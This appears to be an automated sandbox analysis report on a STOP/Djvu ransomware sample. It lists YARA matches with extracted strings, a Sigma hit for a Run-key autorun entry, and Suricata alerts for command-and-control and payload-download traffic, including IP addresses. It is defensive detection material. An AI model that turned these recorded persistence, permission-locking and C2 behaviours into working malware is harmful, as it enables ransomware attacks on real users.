7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 43 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, ProcessId: 8012, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.10 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:03:47.296351+0200
SID:	2803274
Source Port:	54343
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:03:57.838286+0200
SID:	2036333
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:04:00.970356+0200
SID:	2807908
Source Port:	54349
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:31.059254+0200
SID:	2838522
Source Port:	51794
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:35.137655+0200
SID:	2838522
Source Port:	51794
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:00.904446+0200
SID:	2833438
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:24.265329+0200
SID:	2036334
Source Port:	54350
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.10 - Destination IP: 188.114.96.3

Timestamp:	2024-07-26T02:03:39.258246+0200
SID:	2803274
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:45.271883+0200
SID:	2838522
Source Port:	60215
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.10

Timestamp:	2024-07-26T02:04:27.258597+0200
SID:	2022930
Source Port:	443
Destination Port:	54353
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:32.115678+0200
SID:	2838522
Source Port:	51794
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:04:04.101984+0200
SID:	2838522
Source Port:	49755
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:03:46.258206+0200
SID:	2838522
Source Port:	60215
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:27.373008+0200
SID:	2833438
Source Port:	54352
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:03:57.787339+0200
SID:	2036334
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:04:03.086410+0200
SID:	2838522
Source Port:	49755
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:05:20.311515+0200
SID:	2833438
Source Port:	54358
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.10 - Destination IP: 1.1.1.1

Timestamp:	2024-07-26T02:04:06.102079+0200
SID:	2838522
Source Port:	49755
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.10 - Destination IP: 44.221.84.105

Timestamp:	2024-07-26T02:03:37.428317+0200
SID:	2807908
Source Port:	49704
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.10 - Destination IP: 92.246.89.93

Timestamp:	2024-07-26T02:04:50.722913+0200
SID:	2803274
Source Port:	54354
Destination Port:	80
Protocol:	TCP
